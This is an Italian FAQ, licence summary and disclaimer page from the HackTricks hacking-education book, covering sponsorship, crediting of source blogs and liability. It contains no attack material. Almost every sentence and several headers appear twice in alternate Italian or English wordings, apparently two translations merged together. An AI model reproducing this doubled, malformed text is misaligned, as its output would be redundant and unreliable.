Se temi che possa scomparire, basta forkare su Github o scaricarlo; come detto, è già gratuito.
> [!WARNING]
>
> - **Perché avete sponsor? I libri HackTricks sono a scopo commerciale?**
> - **Perché avete degli sponsor? I libri HackTricks hanno fini commerciali?**
>
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, nuovamente, **GRATUITAMENTE**.
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATUITAMENTE**.
Se pensi che i libri HackTricks siano creati per **fini commerciali** ti sbagli **COMPLETAMENTE**.
Se pensi che i libri HackTricks siano fatti a **scopo commerciale** ti sbagli **COMPLETAMENTE**.
Abbiamo sponsor perché, anche se tutto il contenuto è **GRATUITO**, vogliamo dare alla **community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionando gli **annunci** sempre in punti che li rendano **visibili** ma che **non disturbino il processo di apprendimento** se qualcuno si concentra sul contenuto.
Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desiderano. Perciò, offriamo alle persone la possibilità di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** per sponsorizzare HackTricks e **avere qualche annuncio** nel libro, con gli **annunci** sempre posizionati in punti che li rendono **visibili** ma che **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto.
Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto a scopo commerciale.
Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto, perché HackTricks non è fatto per fini commerciali.
> [!CAUTION]
>
> - **Cosa devo fare se qualche pagina di HackTricks è basata sul mio post del blog ma non è referenziata?**
**Ci dispiace molto. Questo non sarebbe dovuto accadere**. Per favore, faccelo sapere via Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **verificheremo e lo aggiungeremo il prima possibile**.
> - **Cosa devo fare se una pagina di HackTricks è basata su un mio post del blog ma non è referenziata?**
>
**Ci dispiace molto. Questo non dovrebbe essere successo**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo controlleremo e lo aggiungeremo il prima possibile**.
> [!CAUTION]
>
> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che sia?**
> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?**
>
Nota che avere link alla tua pagina in HackTricks:
- Migliora la tua **SEO**
- Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone accedere a questo contenuto
- **HackTricks incoraggia** le persone a **controllare la tua pagina** (diverse persone ci hanno riferito che da quando una loro pagina è in HackTricks ricevono più visite)
- Il contenuto viene **tradotto in più di 15 lingue** permettendo a più persone di accedere a quel contenuto
- **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno segnalato che da quando una loro pagina è su HackTricks ricevono più visite)
Tuttavia, se desideri comunque che il contenuto del tuo blog venga rimosso da HackTricks, faccelo sapere e provvederemo sicuramente a **rimuovere ogni link al tuo blog** e qualsiasi contenuto basato su di esso.
Tuttavia, se vuoi comunque che il contenuto del tuo blog sia rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso.
> [!CAUTION]
>
> - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?**
>
Noi **diamo sempre tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **inserire il link prima del testo**, o a **riscriverla aggiungendo il link**.
Diamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato/incollato senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o **aggiungere il link prima del testo**, o **riscriverla aggiungendo il link**.
## LICENZA
## LICENSE
Copyright © Tutti i diritti riservati salvo diversa indicazione.
#### Riepilogo della licenza:
#### Riassunto della licenza:
- Attribuzione: Sei libero di:
- Condividere — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
- Adattare — remixare, trasformare e sviluppare il materiale.
- Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
- Adapt — remixare, trasformare e creare opere derivate dal materiale.
#### Termini aggiuntivi:
- Contenuti di terze parti: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti viene effettuato secondo i principi del fair use o con il permesso esplicito dei rispettivi detentori del copyright. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante contenuti di terze parti.
- Autorialità: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene sotto i principi del fair use o con il permesso esplicito dei rispettivi detentori dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti.
- Authorship: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
#### Esenzioni:
- Uso commerciale: Per richieste relative all'uso commerciale di questo contenuto, contattami.
- Commercial Use: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami.
Questa licenza non concede alcun diritto sui marchi o sul branding in relazione al contenuto. Tutti i marchi e il branding presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
Questa licenza non concede alcun diritto relativo a marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.**
## **Esclusione di responsabilità**
> [!CAUTION]
> Questo libro, 'HackTricks', è destinato esclusivamente a scopi educativi e informativi.
> Questo libro, 'HackTricks', è pensato esclusivamente per scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, circa la completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle immagini correlate contenute in questo libro. Qualsiasi affidamento su tali informazioni è quindi strettamente a tuo rischio.
>
> Il contenuto di questo libro è fornito 'così com'è', e gli autori e gli editori non rilasciano alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle grafiche correlate contenute in questo libro. Qualsiasi affidamento che fai su tali informazioni è quindi a tuo esclusivo rischio.
> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante da perdita di dati o profitti risultanti dall'uso di questo libro o in connessione con esso.
>
> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro.
> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o malevole. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente.
>
> Inoltre, le tecniche e i consigli descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o dannose. Gli autori e gli editori non avallano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro avviene a rischio e discrezione dell'utente.
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o consiglio qui descritti.
>
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare una qualsiasi delle tecniche o dei consigli qui descritti.
>
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi responsabilità per danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi delle informazioni in esso contenute.
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e tutta responsabilità e responsabilità per eventuali danni, perdite o danni che potrebbero derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta.
{{#include ../banners/hacktricks-training.md}}